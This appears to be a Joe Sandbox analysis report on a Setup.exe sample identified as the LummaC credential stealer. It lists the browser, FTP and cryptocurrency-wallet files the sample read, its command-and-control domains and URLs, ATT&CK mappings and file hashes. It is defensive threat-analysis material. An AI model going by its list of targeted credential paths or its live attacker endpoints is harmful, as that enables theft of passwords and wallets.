Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2362706231.000000000158F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2362505878.0000000001578000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Setup.exe PID: 6660, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Setup.exe PID: 6660, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	11 Input Capture	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	141 Security Software Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	11 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	12 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	34 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Setup.exe	6%	Virustotal		Browse
Setup.exe	8%	ReversingLabs	Win32.Malware.Generic

Name	IP	Active	Malicious	Reputation
locketplyxx.click	172.67.151.193	true	true	unknown
neqi.shop	194.58.112.174	true	false	unknown
klipcatepiu0.shop	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
necklacebudi.lat	false	high
https://locketplyxx.click/api	true	unknown
aspecteirs.lat	false	high
energyaffai.lat	false	high
locketplyxx.click	true	unknown
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://klipcatepiu0.shop/int_clp_ldr_sha.txt	Setup.exe, 00000000.00000003.2530949368.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530800687.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2532506005.00000000015E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://locketplyxx.click/U	Setup.exe, 00000000.00000002.2532139687.0000000001541000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://locketplyxx.click/api9=	Setup.exe, 00000000.00000002.2532139687.0000000001509000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://neqi.shop/	Setup.exe, 00000000.00000002.2532962391.0000000004283000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://klipcatepiu0.shop/int_clp_ldr_sha.txti	Setup.exe, 00000000.00000003.2530949368.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530800687.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2532506005.00000000015E4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://klipcatepiu0.shop/V	Setup.exe, 00000000.00000002.2532430207.00000000015BB000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://www.ecosia.org/newtab/	Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://neqi.shop/r	Setup.exe, 00000000.00000002.2532962391.0000000004283000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://locketplyxx.click/	Setup.exe, 00000000.00000002.2532139687.0000000001509000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ac.ecosia.org/autocomplete?q=	Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://neqi.shop/sdgjyut/psh.txt	Setup.exe, 00000000.00000002.2532309256.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530723477.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2532962391.0000000004283000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.0000000001578000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://klipcatepiu0.shop/(	Setup.exe, 00000000.00000002.2532430207.00000000015BB000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://klipcatepiu0.shop/int_clp_ldr_sha.txtW	Setup.exe, 00000000.00000002.2532309256.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530723477.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.0000000001578000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://locketplyxx.click/7	Setup.exe, 00000000.00000002.2532139687.0000000001541000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://locketplyxx.click/apis	Setup.exe, 00000000.00000003.2420387896.0000000004283000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://x1.c.lencr.org/0	Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Setup.exe, 00000000.00000003.2335090613.00000000042B0000.00000004.00000800.00020000.00000000.sdmp	false	high
https://klipcatepiu0.shop/	Setup.exe, 00000000.00000002.2532430207.00000000015BB000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://support.mozilla.org/products/firefoxgro.all	Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.microx	Setup.exe, 00000000.00000003.2362449940.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2278965217.00000000015B9000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2420222881.00000000015C9000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.151.193	locketplyxx.click	United States		13335	CLOUDFLARENETUS	true
194.58.112.174	neqi.shop	Russian Federation		197695	AS-REGRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579541
Start date and time:	2024-12-22 23:31:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 19 Number of non-executed functions: 297
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:32:23	API Interceptor	9x Sleep call for process: Setup.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
194.58.112.174	SWIFT COPY.exe	Get hash	malicious	FormBook	Browse	www.elinor.club/1ne4/
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	www.synd.fun/6sgf/
	SRT68.exe	Get hash	malicious	FormBook	Browse	www.fantastica.digital/5srj/
	72STaC6BmljfbIQ.exe	Get hash	malicious	FormBook	Browse	www.elinor.club/1ne4/
	specification and drawing.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.synd.fun/6sgf/
	Pre Alert PO TVKJEANSA00967.bat.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.elinor.club/7plr/
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	www.sklad-iq.online/gdvz/
	CV Lic H&S Olivetti Renzo.exe	Get hash	malicious	FormBook	Browse	www.sklad-iq.online/gdvz/
	Item-RQF-9456786.exe	Get hash	malicious	Unknown	Browse	www.sklad-iq.online/j4lg/
	PO AT-5228.exe	Get hash	malicious	FormBook	Browse	www.marketplacer.top/xprp/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
neqi.shop	Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
neqi.shop	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.191.144
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.63.229
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	162.158.254.178
	winwidgetshp.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.18.182
	https://cpanel05wh.bkk1.cloud.z.com/~cp197720/open/DD/	Get hash	malicious	HTMLPhisher	Browse	104.21.234.144
	nshkppc.elf	Get hash	malicious	Mirai	Browse	104.24.135.181
	swift-bootstrapper.exe	Get hash	malicious	Unknown	Browse	104.18.38.10
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.67.146
	7394231845.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
AS-REGRU	Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	194.58.112.174
	SWIFT COPY.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	194.58.59.91
	Nieuwebestellingen10122024.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	hax.ppc.elf	Get hash	malicious	Mirai	Browse	194.58.94.235
	Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Get hash	malicious	FormBook	Browse	31.31.198.145
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	194.87.189.43
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	194.87.189.43
	cXjy5Y6dXX.exe	Get hash	malicious	RHADAMANTHYS	Browse	193.124.205.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	Full_Ver_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	winwidgetshp.mp4.hta	Get hash	malicious	LummaC	Browse	172.67.151.193
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.151.193
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.151.193
	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	172.67.151.193
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.151.193

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.6788921252373252
TrID:	Win32 Executable (generic) a (10002005/4) 98.81% Windows ActiveX control (116523/4) 1.15% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Setup.exe
File size:	76'868'306 bytes
MD5:	1bb77fc90fba4c11eb12606d8721fe21
SHA1:	cbccd90cde2ff9fc729fa7d04ac6d02c3ea08e6a
SHA256:	bb34760899fecabbe502ba6b969ac7d0436e1780ff4c99e71edd8230451431b7
SHA512:	ff83345266b7668f39f59f2e13f038626879621534ff0bf412a3249a2baac424ea3bd46829b7e326022dbbf3089d5387ce879eee47f4f7f1cb97b0dfd45a6949
SSDEEP:	49152:aW0lhqNKnAx4G8iPCwRiwNssTzna6R+p8jFWvI:elhqwAx4G8iPCwRiwNssTzaXoWQ
TLSH:	B5F7199A2328E9F3FB428A24153BDEED95AE7918171184CF316531056D320EEBF3592F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........;...;...;...^...!...^.......^.......^...8...^.......;.......i...(...i...-...i...R.......8.......:...;...:.......:...Rich;..

File Icon


Icon Hash:	0f656caa8a4c030f

Static PE Info

General

Entrypoint:	0x5473ab
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x632C6429 [Thu Sep 22 13:33:29 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	4cc4bf46da352a2bee6617b4587ee2d4

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
